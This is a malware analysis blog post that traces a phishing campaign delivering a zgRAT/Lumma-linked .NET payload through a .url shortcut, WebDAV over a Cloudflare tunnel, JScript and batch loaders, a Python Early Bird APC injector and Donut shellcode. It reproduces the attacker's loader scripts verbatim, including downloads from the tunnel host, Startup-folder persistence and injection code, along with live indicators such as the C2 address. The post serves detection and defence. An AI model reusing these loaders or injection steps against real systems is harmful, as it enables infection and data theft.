
By Peter Gabaldon (X / LinkedIn)
A thought REGARDING AI
Before getting in depth with the post, I would like to make a thought regarding AI. This malware analysis has been performed in a record time thanks to ChatGPT. As you will see, the final shellcode is a Donut-generated shellcode. When first met the encrypted shellcode, it was fully pasted into ChatGPT for analysis. After 26 minutes it solely found that it was a Donut shellcode, wrote a Python script to extract the embedded executable and provided the full .NET executable that was used in the generation of the shellcode.




I do not know if, in five years from now, AI will fully take over some of our current jobs, but what is clear and without a doubt is that AI is changing the game and it is a crucial piece in the current scene of DFIR, reverse engineering, malware analysis… Even this preamble, was reviewed by Gemini.
SUMMARY
This analysis breaks down a highly evasive, multi-stage malware infection chain designed to bypass traditional file-based detection and operate almost entirely within memory. Beginning with a deceptive phishing lure, the attack leverages a complex sequence of redirections and native Windows capabilities to deliver a hidden .NET payload.
Instead of relying on conventional executable attachments, the threat actor utilized an Internet Shortcut (.url) file to access malicious infrastructure hosted via a WebDAV path over a Cloudflare tunnel. From there, the attack seamlessly transitioned through multiple lightweight script-based loaders—including Windows Script Host (.wsh), JScript, and batch (.bat) files—before downloading an embeddable Python runtime to execute the critical injection phase.
The core of this attack’s sophistication lies in its transition from disk-based staging to memory-resident execution. By utilizing Early Bird APC injection and a Donut-based loader, the attackers successfully executed a fully managed .NET payload within an injected explorer.exe process, leaving minimal on-disk artifacts.
Key Characteristics of the Attack
- Initial Access: Phishing URLs utilizing open redirects (e.g., Google App links) to deliver a ZIP archive containing a malicious
.urlfile. - Infrastructure: Abuse of Cloudflare tunnels and WebDAV for remote payload staging and retrieval.
- LotL Abuse: Extensive use of native Windows binaries and scripts (
.wsh, Jscript,cmd.exe) to orchestrate the infection chain. - Decoy & Persistence: Deployment of a benign PDF to distract the victim while establishing logon persistence via the Startup folder.
- In-Memory Evasion: Use of a downloaded Python runtime to decode payloads and perform Early Bird APC injection into a suspended legitimate process (
explorer.exe). - Advanced Loading: Utilization of a Donut-based shellcode loader to execute the final encrypted and compressed .NET payload entirely from memory.
Attack Staging Breakdown
| Infection Stage | Primary Technique / Tooling | Objective |
| Delivery | Phishing email, Open Redirects, .url file | Bypass perimeter defenses and trick user execution. |
| Staging | WebDAV, Cloudflare Tunnel | Retrieve subsequent payloads remotely and securely. |
| Execution | .wsh, JScript, .bat | Establish a foothold using native Windows scripting. |
| Persistence | Startup folder (.bat), Decoy PDF | Maintain access across reboots without raising suspicion. |
| Injection | Python runtime, Early Bird APC | Transition to memory-resident execution within explorer.exe. |
| Final Payload | Donut shellcode, In-memory .NET PE | Execute the core malware with minimal forensic visibility. |

INITIAL ACCESS
The intrusion began with a deceptive phishing email that relied on a malicious link rather than a direct attachment. The initial URL presented to the victim was:
https://adcq9[.]app[.]goo[.]gl/?link=https%3A%2F%2Ft.co%2FkKRdTB5AeT

This link functioned as an intermediary redirector. By chaining URLs, the threat actor achieved several objectives:
- Obfuscation: It created distance between the original email and the final payload host.
- Agility: It allowed the attacker to independently rotate components of the campaign (e.g., updating the final payload location while keeping the original phishing email intact).
- Evasion: It complicated manual review and bypassed simple reputation-based email filters by introducing transient, seemingly benign layers.
Ultimately, this redirect chain led the victim to an attacker-controlled or compromised web resource: https://baraltransportes[.]com/20khgc26oiwefoibfuww.php. By the time the user reached this page, the attack had transitioned from social engineering into active payload delivery.
Actually, the root also downloaed the same ZIP file (https://baraltransportes[.]com).
FIRST STAGE
The final landing page delivered a ZIP archive deliberately named to simulate a financial bill: Fac_2026_7065150059.zip.
This filename mimics standard invoice or accounting documentation, a classic lure designed to manipulate corporate users into opening the file. The attacker kept the initial artifact lightweight to minimize the presence of obvious malware and fly under the radar of immediate endpoint detection.
The First-Stage Payload: Internet Shortcut (.url) Abuse
Extracting the ZIP archive revealed a single, visually unremarkable file: Fac_2026_8505769465.url.
The contents of this Internet Shortcut were minimal but highly effective:
[InternetShortcut]URL=file://offset-character-purposes-midlands.trycloudflare.com@SSL/DavWWWRoot/tgpzdcv.wsh
This tiny file represents the first true payload stage of the infection. Its purpose was to initiate the malicious code execution chain. It pivot the victim’s system toward attacker-controlled infrastructure. This intentional separation of delivery and execution is a hallmark of evasive staging.
WebDAV and Cloudflare Tunnel Pivoting
The destination referenced within the .url file is the most critical aspect of this initial stage. It reveals two main implementation choices:
- WebDAV Semantics (
@SSL/DavWWWRoot): Rather than pointing to a standard HTTP/HTTPS resource, the shortcut referenced afile://path using a UNC-style WebDAV location. This forced the victim’s Windows OS to use native, trusted components to reach out to the remote file as if it were on a local network share. - Cloudflare Tunneling (
trycloudflare.com): The infrastructure was exposed through an ephemeral Cloudflare tunnel rather than a traditional standalone server. This granted the attacker the legitimacy of a widely trusted service while perfectly concealing their true backend infrastructure.
Operationally, this Internet Shortcut served as the exact pivot point from the phishing delivery chain into the active malware staging environment. , The remote Windows Script Host (.wsh) file initiates the next phases of the attack.
Second-Stage Payload: Windows Script Host (.wsh)
The next stage retrieved through the malicious Internet Shortcut was a Windows Script Host settings file. Its content was remarkably concise, serving a single, highly specific purpose: instructing the Windows Script Host engine to load and execute a remote JScript file.
[ScriptFile]
Path=\\offset-character-purposes-midlands.trycloudflare.com@SSL\DavWWWRoot\eqzecng.js
[Options]
UseEngine=JScript
Unlike a conventional script that contains its execution logic directly within the file, this .wsh artifact acted purely as a launcher. It defined the path to the actual script and explicitly forced the use of the JScript execution engine.
The Path field pointed to a remote resource exposed through the exact same WebDAV path observed in the previous stage. By continuing to rely on native Windows support for UNC-style remote file access over SSL-backed WebDAV, the attacker avoided packaging the JavaScript inside the ZIP or embedding it directly into the WSH file.
This modular design offers significant operational advantages to the attacker. It reduces the footprint of the downloaded artifacts, allows the hosted script to be swapped out without modifying the delivery stages, and heavily leans on “Living off the Land” (LotL) techniques. Nothing in the WSH file required a custom executable or an unusual runtime; the operating system’s built-in script-handling capabilities were more than sufficient to advance the intrusion.
Third-Stage Payload: JScript Loader (.js)
File Copy and Staging Behavior
The remote JScript file referenced by the WSH stage functioned as a simple but highly effective loader. Its logic was strictly limited to the operations necessary to retrieve and launch the next stage of the infection chain.
Based on the recovered artifact, the script executes the following logic:
var fso = new ActiveXObject("Scripting.FileSystemObject");var shell = new ActiveXObject("WScript.Shell");var file = "\\\\offset-character-purposes-midlands.trycloudflare.com@SSL\\DavWWWRoot\\okizxtt.bat"; var dst = shell.ExpandEnvironmentStrings("%USERPROFILE%\\Downloads\\") + fso.GetFileName(file);fso.CopyFile(file, dst, true);shell.Run('cmd /c "' + dst + '"', 1, false);
The script begins by instantiating two standard COM objects (Scripting.FileSystemObject and WScript.Shell). These objects provide native access to file copy operations and shell execution without requiring external tooling.
Using the current user’s profile as a local staging location, the script copies the next-stage batch (.bat) file from the remote WebDAV share directly into the local Downloads directory. This is a critical behavioral pivot: the JavaScript does not perform complex malicious actions itself, but acts strictly as a delivery bridge between the remote WebDAV infrastructure and local execution.
Execution of the BAT Payload
Immediately after copying the file locally, the JScript triggers its execution using a native command shell: cmd /c "<path_to_downloaded_bat>".
This marks the first point in the infection chain where a locally written payload is launched as a separate process.
Ultimately, the JScript stage had two narrow responsibilities: retrieve the .bat file and trigger it. It made no attempts to maintain persistence, perform process injection, or directly unpack the final malware. By keeping each stage narrowly focused, the attacker ensures that the failure or detection of one small component is less likely to expose the entire execution chain. Once the BAT file is launched, the intrusion upgrades to a much more capable platform for installation and in-memory payload preparation.
Fourth-Stage Payload: BAT Installer and Stager
Once the JScript loader successfully dropped and executed the first batch file, the infection transitioned into its primary installation phase. This script is highly modular and relies heavily on PowerShell (powershell.exe) to orchestrate downloads, extraction, and execution.
Here is the complete content of the primary staging BAT file:
@echo offif not "%~1"=="h" ( start "" "https://www.ihk.de/blueprint/servlet/resource/blob/5581278/1cafa7f203df9d83e050d9f01677ffe6/rechnung-kleinunternehmer-data.pdf" powershell -WindowStyle Hidden -Command "Start-Process -FilePath '%~f0' -ArgumentList 'h' -WindowStyle Hidden" exit /b)set "TARGET_DIR=%LOCALAPPDATA%\dlmmx":: Download and extract Python if not existsif not exist "%TARGET_DIR%\python.exe" ( echo Downloading and extracting Python... powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' -OutFile '%TEMP%\p.zip'" powershell -Command "Expand-Archive '%TEMP%\p.zip' '%TARGET_DIR%' -Force"):: Download wind.bat to startup folderpowershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/keckjpj.bat' -OutFile '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\keckjpj.bat'":: Download required files from /ab/ folderpowershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/sb.py' -OutFile '%TARGET_DIR%\sb.py'"powershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/new.bin' -OutFile '%TARGET_DIR%\new.bin'"powershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/a.txt' -OutFile '%TARGET_DIR%\a.txt'":: Run the Python scriptcd /d "%TARGET_DIR%" && python sb.py -i new.bin -k a.txt
Decoy Deployment and Hidden Execution
The script immediately employs a clever self-hiding mechanism. It checks if the script was launched with the argument h. If it wasn’t (which is the case when initially launched by the JScript loader), it performs two actions:
- Decoy Document: It opens a legitimate German invoice template (
rechnung-kleinunternehmer-data.pdf) hosted on a legitimate domain (ihk.de). This distracts the user, aligning perfectly with the initialFac_2026...zipinvoice lure: https://www.ihk.de/blueprint/servlet/resource/blob/5581278/1cafa7f203df9d83e050d9f01677ffe6/rechnung-kleinunternehmer-data.pdf

- Hidden Relaunch: It uses PowerShell to relaunch itself (
%~f0), this time passing thehargument and enforcing a hidden window style. The visible command prompt then exits, leaving the malicious installation running invisibly in the background.
Environmental Setup and Python Acquisition
Once running in hidden mode, the script establishes a staging directory at %LOCALAPPDATA%\dlmmx.
In a textbook Living-off-the-Land (LotL) maneuver, the attacker does not package a bulky runtime with the malware. Instead, the script reaches out to the official python.org repository to download a legitimate, embeddable Python 3.14.0 distribution. It drops the ZIP archive in the %TEMP% directory and expands it into the staging folder. By using a trusted, digitally signed binary from a highly reputable source, the attacker drastically reduces the likelihood of triggering heuristic or reputation-based alerts.
Staging the Core Payload and Execution
With the Python environment prepared, the script uses PowerShell’s Invoke-WebRequest (iwr) to pull three critical components from the attacker’s Cloudflare-tunneled WebDAV infrastructure:
sb.py: The Python injector script.new.bin: The encoded payload blob.a.txt: The key file used to decode the payload.
Finally, the script navigates to the staging directory and executes the Python script, passing the encrypted payload and key file as arguments. This command officially hands over the execution chain to the Python runtime.
Note that the second bat is downloaded to the startup folder to maintain persistence.
Fifth-Stage Payload: Persistence BAT (keckjpj.bat)
During the execution of the primary staging script, a secondary batch file (keckjpj.bat) was downloaded directly into the user’s Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\). This establishes logon persistence, ensuring the malware survives a system reboot.
The contents of this persistence script are heavily based on the staging script, stripped down to purely execution logic:
@echo offif not "%~1"=="h" ( powershell -windowstyle hidden -command "Start-Process '%~f0' -ArgumentList 'h' -WindowStyle Hidden" exit /b)set "target=%LOCALAPPDATA%\dlmmx"cd /d "%target%"start /b "" python.exe sb.py -i new.bin -k a.txt
Silent Re-Execution
Like its predecessor, this script utilizes the h argument trick to hide the command prompt window upon startup. Once hidden, it simply sets the target directory variable, navigates to %LOCALAPPDATA%\dlmmx, and uses the start /b "" command to silently launch the embedded Python executable, passing the payload and key files to sb.py exactly as the initial installer did. The option /b is used to not spawn a new Command Prompt.
By separating the downloader/installer from the persistence trigger, the threat actor ensures that the startup process is lightweight and doesn’t generate unnecessary network traffic (like re-downloading Python) on every boot.
Sixth-Stage Payload: Python Injector (sb.py)
Once the batch installer completed its staging routine, it handed execution over to a Python script named sb.py. This marked a pivotal transition in the attack: earlier stages were focused on delivery, environmental staging, and persistence, whereas sb.py introduced direct in-memory payload preparation and remote process injection.
Argument Structure and Execution Flow
The script was designed to be modular and accepted several command-line arguments:
-i/--input: The protected payload file.-k/--key-file: The transformation key file.-p/--process: The target process name (defaults toexplorer.exe).-c/--compressed: An optional flag indicating the payload requires decompression.
In the observed execution chain, the malware launched the script using python sb.py -i new.bin -k a.txt. This operational design deliberately separated the payload preparation from the final execution context. In summary, the Python script executed acts as a shellcode loader.
Multi-Layer XOR Transformation
The injector’s first critical task was decoding the protected payload (new.bin) using keys extracted from a.txt.

# --- Multi-layer XOR with obfuscation ---def transform_data(data, transformations): result = data for transform in reversed(transformations): result = bytes(b ^ transform[i % len(transform)] for i, b in enumerate(result)) return result
The script parsed hexadecimal keys from the text file and applied a sequence of XOR transformations across the payload buffer. While XOR is cryptographically simple, it is highly effective at defeating superficial triage and basic file inspection. Furthermore, by splitting the encrypted blob and the decryption keys into separate files downloaded independently, the threat actor significantly reduced the value of recovering any single component in isolation.
Process Creation and Remote Memory Allocation
After reconstructing the final payload in memory, sb.py utilized Python’s ctypes library to interact directly with the Windows API, acting as a fully functional malware injector.
The Dynamic Analysis at runtime allowed to recover directly from memory the “decrypted” shellcode.

The script targeted explorer.exe by default, using CreateProcessA to spawn a new instance with the CREATE_SUSPENDED flag (0x00000004). Creating a suspended process is a classic and highly effective injection technique, granting the malware total control over the process memory space before normal execution begins. Targeting explorer.exe also allows the malicious activity to blend more easily into normal userland telemetry.


With the target suspended, the script allocated a new memory region using VirtualAllocEx with PAGE_EXECUTE_READWRITE (0x40) permissions. It then wrote the decoded payload directly into that remote address space using WriteProcessMemory.

Early Bird APC Injection
To trigger the payload, it utilized Early Bird APC Injection.
print("[*] Queueing asynchronous procedure call")
result = QUA(alloc_addr, pi.hThread, 0) # QueueUserAPC
# ... error handling ...
print("[+] Triggering payload execution")
RT(pi.hThread) # ResumeThread
By using QueueUserAPC, the script scheduled the execution of the remote buffer in the primary thread of the suspended process. When ResumeThread was called, the process initialization continued, and the queued Asynchronous Procedure Call was immediately delivered. At this moment, the malware completely transitioned from disk-based scripting to fileless, in-memory execution.
Memory Forensics and Shellcode Recovery
The payload was recovered directly from memory analyzing at runtime the injection to the suspended explorer.exe.
Locating and Dumping the Payload
During debugging, the precise memory range of the injected payload was identified by observing the base address and size parameters passed to WriteProcessMemory. This allowed for a clean extraction of the memory segment directly from the suspended explorer.exe process using WinDbg.


Dumping the APC payload produced a raw binary representing exactly what the Python script had unpacked.

The APC Thread Context Challenge
A common pitfall during memory analysis of Early Bird APC injection is the thread context. Inspection of the resumed thread’s handle often shows a legitimate-looking start routine rather than the address of the injected malicious buffer.
This occurs because the thread’s official start address still reflects the benign routine assigned by the OS during process creation. The malicious payload is queued separately as an APC routine. Understanding this distinction is vital for analysts: the thread metadata may appear benign, and the execution target must be identified through memory write tracking or queued APC parameters rather than superficial handle inspection.
Seventh-Stage Payload: Donut Shellcode
Analysis of the dumped APC buffer revealed a critical detail: it was not a simple, hand-written shellcode stub, but a fully weaponized in-memory loader generated using the Donut framework.
Donut Architecture and Embedded Modules
Donut is a powerful shellcode generator designed to package Windows executables, assemblies, or scripts into position-independent shellcode. The recovered buffer exhibited Donut’s classic structure: a position-independent execution stub followed by a larger data region containing an embedded, encrypted module.
This explained why the extracted memory did not immediately resemble a conventional Portable Executable (PE). The Donut instance acted as yet another abstraction layer. Once injected and executed via APC, the Donut loader took over the responsibility of resolving dependencies, decrypting its internal payload, and launching it entirely in memory.
Final Extraction
The recovered artifact from Donut’s shellcode loader was a .NET executable. Through the use of Donut, the threat actor ensured that this final .NET payload never touched the disk, severely restricting forensic visibility and highlighting the sophistication of the complete infection chain.
Eighth-Stage Payload: Extracting the Final .NET Executable
To analyze the final payload, we needed to extract the embedded .NET executable from the Donut shellcode dumped from the APC buffer. Donut employs specific encryption and compression routines to protect its embedded modules, requiring a custom script to parse the instance, decrypt the data, and decompress the final PE file.
import struct# --- Chaskey CTR (Donut) ---def rotr32(x, r): return ((x >> r) | ((x & 0xffffffff) << (32 - r))) & 0xffffffffdef chaskey_block(mk, block16): k = list(struct.unpack('<4I', mk)) w = list(struct.unpack('<4I', block16)) w = [(w[i] ^ k[i]) & 0xffffffff for i in range(4)] for _ in range(16): w[0] = (w[0] + w[1]) & 0xffffffff w[1] = rotr32(w[1], 27) ^ w[0] w[2] = (w[2] + w[3]) & 0xffffffff w[3] = rotr32(w[3], 24) ^ w[2] w[2] = (w[2] + w[1]) & 0xffffffff w[0] = (rotr32(w[0], 16) + w[3]) & 0xffffffff w[3] = rotr32(w[3], 19) ^ w[0] w[1] = rotr32(w[1], 25) ^ w[2] w[2] = rotr32(w[2], 16) w = [(w[i] ^ k[i]) & 0xffffffff for i in range(4)] return struct.pack('<4I', *w)def donut_ctr_xor(mk, ctr, data): out = bytearray(data) i = 0 while i < len(out): ks = bytearray(ctr) ks = bytearray(chaskey_block(mk, bytes(ks))) r = min(16, len(out) - i) for j in range(r): out[i+j] ^= ks[j] # increment counter big-endian for j in range(16, 0, -1): ctr[j-1] = (ctr[j-1] + 1) & 0xff if ctr[j-1] != 0: break i += r return bytes(out)# --- LZNT1 ---def lznt1_decompress_chunk(chunk: bytes) -> bytes: out = bytearray() i = 0 while i < len(chunk): flags = chunk[i] i += 1 for bit in range(8): if i >= len(chunk): break if not ((flags >> bit) & 1): out.append(chunk[i]); i += 1 else: flag = chunk[i] | (chunk[i+1] << 8); i += 2 pos = len(out) - 1 l_mask = 0xFFF o_shift = 12 while pos >= 0x10: l_mask >>= 1 o_shift -= 1 pos >>= 1 length = (flag & l_mask) + 3 offset = (flag >> o_shift) + 1 if length >= offset: pat = out[-offset:] out.extend((pat * ((length // len(pat)) + 2))[:length]) else: out.extend(out[-offset:-offset + length]) return bytes(out)def lznt1_decompress_stream(buf: bytes) -> bytes: out = bytearray() i = 0 while i + 2 <= len(buf): hdr = buf[i] | (buf[i+1] << 8); i += 2 compressed = (hdr & 0x8000) != 0 chunk_len = (hdr & 0x0FFF) + 1 chunk = buf[i:i+chunk_len]; i += chunk_len out.extend(lznt1_decompress_chunk(chunk) if compressed else chunk) return bytes(out)# --- Parse + extract ---sc = open("apc_payload.bin","rb").read()# Donut instance begins right after the 5-byte CALLinst = sc[5:]inst_len = struct.unpack_from("<I", inst, 0)[0]inst = inst[:inst_len]mk = inst[4:20] # DONUT_CRYPT.mkctr = bytearray(inst[0x14:0x24]) # DONUT_CRYPT.ctr (counter+nonce)enc_part = inst[0x23c:]dec_part = donut_ctr_xor(mk, ctr, enc_part)# Find DONUT_MODULE by locating runtime and stepping back 12 bytesruntime_off = dec_part.find(b"v4.0.30319")mod_off = runtime_off - 12type_, thread, compress = struct.unpack_from("<III", dec_part, mod_off)# Offsets inside DONUT_MODULEp = mod_off + 12 + 256*5 + 4 + 8 + 8zlen = struct.unpack_from("<I", dec_part, p)[0]; p += 4real_len = struct.unpack_from("<I", dec_part, p)[0]; p += 4payload = dec_part[p:p+zlen]pe = lznt1_decompress_stream(payload) if compress == 3 else payloadopen("stage_netexe.bin","wb").write(pe)print("type:", type_, "compress:", compress, "len:", len(pe))

Decryption: Chaskey in CTR Mode
The Donut framework uses the Chaskey block cipher in Counter (CTR) mode to encrypt its payload. The extraction script implements a custom chaskey_block and donut_ctr_xor function to reverse this.
By locating the DONUT_CRYPT structure within the shellcode (immediately following the initial 5-byte CALL instruction), the script successfully extracts the 16-byte Master Key (mk) and the 16-byte Counter/Nonce (ctr). It then applies the Chaskey CTR decryption routine to the encrypted data block.
Parsing the Module and LZNT1 Decompression
Once decrypted, the payload remains structured as a DONUT_MODULE. The script locates this structure by searching for the .NET runtime string (v4.0.30319) and stepping backward to parse the module headers.
Crucially, the header contains a compression flag (compress == 3). This indicates that the embedded PE file was compressed using LZNT1, a standard Windows compression algorithm often implemented natively via RtlDecompressBuffer. The script utilizes a custom Python implementation (lznt1_decompress_stream) to inflate the decrypted buffer, finally yielding the raw, unadulterated .NET executable (stage_netexe.bin).
Public Indicators and Infrastructure
With the final payload extracted, we were able to analyze it and publish the information gathered to public threat intelligence repositories. The extracted .NET was not publicly known, and the C2 IP was also not known at the time. The TLS certificate matches the characteristics shown in other zgRAT C2 servers.
| Indicator Type | Value | Reference |
| SHA-256 (Final .NET) | 87053d0ad81ac3367ef5e6305f4cf4eec11776e94971f3f54bc66eaddf756eb5 | MalwareBazaar |
| C2 IP Address | 89.23.103.60 | Censys |
| Behavioral Report | N/A | JoeSandbox Analysis |
The final executed .NET is from the familiy of ResolverRAT/zgRAT and contains stealing capabilities tracked to Lumma.
The full execution of the script is shown below.

Defensive Recommendations and Detection Opportunities
This intrusion demonstrates a high level of operational security, leveraging Living-off-the-Land (LotL) techniques, ephemeral infrastructure, and in-memory execution to evade traditional file-based detection. However, the execution chain provides several high-signal detection opportunities for defenders:
- Network & Infrastructure Detection:
- Monitor for outbound WebDAV traffic (
@SSL/DavWWWRootor port 443 with WebDAV user agents) originating from user applications orexplorer.exe. - Flag or block connections to ephemeral tunneling services (e.g.,
trycloudflare.com) if not explicitly required for business operations.
- Monitor for outbound WebDAV traffic (
- File & Execution Anomalies:
- Detect the execution of Internet Shortcut (
.url) files pointing to remotefile://or UNC paths. - Monitor for Windows Script Host (
wscript.exe/cscript.exe) launching.wshor.jsfiles from remote network shares. - Alert on the downloading and execution of portable/embeddable Python environments (e.g.,
python-3.*-embed-amd64.zip) into user profile directories like%LOCALAPPDATA%or%TEMP%.
- Detect the execution of Internet Shortcut (
- Persistence & Injection:
- Monitor the creation of unrecognized
.bator.vbsfiles in the user Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\). - Utilize EDR telemetry to detect Early Bird APC Injection: Alert on processes (especially
explorer.exe) created with theCREATE_SUSPENDEDflag, followed by remote memory allocations (VirtualAllocEx), remote writes (WriteProcessMemory), andQueueUserAPCcalls from scripting engines (like Python).
- Monitor the creation of unrecognized
- Memory Forensics:
- Perform periodic memory sweeping for unbacked executable memory regions (
PAGE_EXECUTE_READWRITE) containing known shellcode framework signatures, such as Donut’s Chaskey/LZNT1 loader stubs.
- Perform periodic memory sweeping for unbacked executable memory regions (
Conclusion & MITRE ATT&CK Mapping
This case brilliantly illustrates why effective digital forensics and incident response (DFIR) investigations cannot stop at the first recovered script or downloader. By tracing the execution from a simple phishing redirect all the way through WebDAV staging, Python API hooking, and Donut shellcode loading, we expose a highly modular and evasive architecture.
Below is the complete MITRE ATT&CK mapping for this multi-stage infection chain:
| Tactic | Technique ID | Technique Name | Implementation Details |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Lure utilizing open redirects (e.g., Google App links) to a malicious URL. |
| Execution | T1204.002 | User Execution: Malicious File | Victim interaction with the downloaded .url Internet Shortcut file. |
| Execution | T1059.007 | Command & Scripting: JavaScript | Use of .wsh to force Windows Script Host to execute remote JScript. |
| Execution | T1059.003 | Command & Scripting: Windows CMD | cmd.exe executing the dropped .bat installation payloads. |
| Execution | T1059.006 | Command & Scripting: Python | Portable Python executing the sb.py injector script. |
| Execution | T1106 | Native API | Python ctypes bindings calling Win32 APIs for process injection. |
| Persistence | T1547.001 | Registry Run Keys / Startup Folder | Dropping keckjpj.bat into the Windows Startup folder for logon persistence. |
| Defense Evasion | T1036 | Masquerading | Naming the ZIP archive to resemble an invoice (Fac_2026_...zip) and deploying a decoy PDF. |
| Defense Evasion | T1027 | Obfuscated Files or Info | Multi-layer XOR transformation of the payload (new.bin); Donut’s Chaskey encryption. |
| Defense Evasion | T1055.004 | Process Injection: APC | Early Bird APC injection via QueueUserAPC into a suspended explorer.exe. |
| Defense Evasion | T1620 | Reflective Code Loading | Donut shellcode executing the final .NET PE entirely within memory. |
| Command & Control | T1105 | Ingress Tool Transfer | WebDAV retrieval of .wsh and .bat files; PowerShell iwr downloading Python and payloads. |
References
Threat Intelligence & Sample Artifacts
- MalwareBazaar Sample (Final .NET Payload): SHA-256: 87053d0ad81ac3367ef5e6305f4cf4eec11776e94971f3f54bc66eaddf756eb5
- Censys Host Information (C2 Infrastructure): IP: 89.23.103.60
- JoeSandbox Automated Malware Analysis: Analysis Report 1878924
Abused Win32 APIs (Microsoft Learn Documentation)
- CreateProcessA: Process creation and suspended execution
- VirtualAllocEx: Remote memory allocation
- WriteProcessMemory: Writing data to a remote process
- QueueUserAPC: Asynchronous Procedure Call queuing
- ResumeThread: Resuming suspended threads for execution
Frameworks & Methodologies
- The Donut Framework: GitHub Repository (TheWover/donut)
- MITRE ATT&CK® Framework: Enterprise Matrix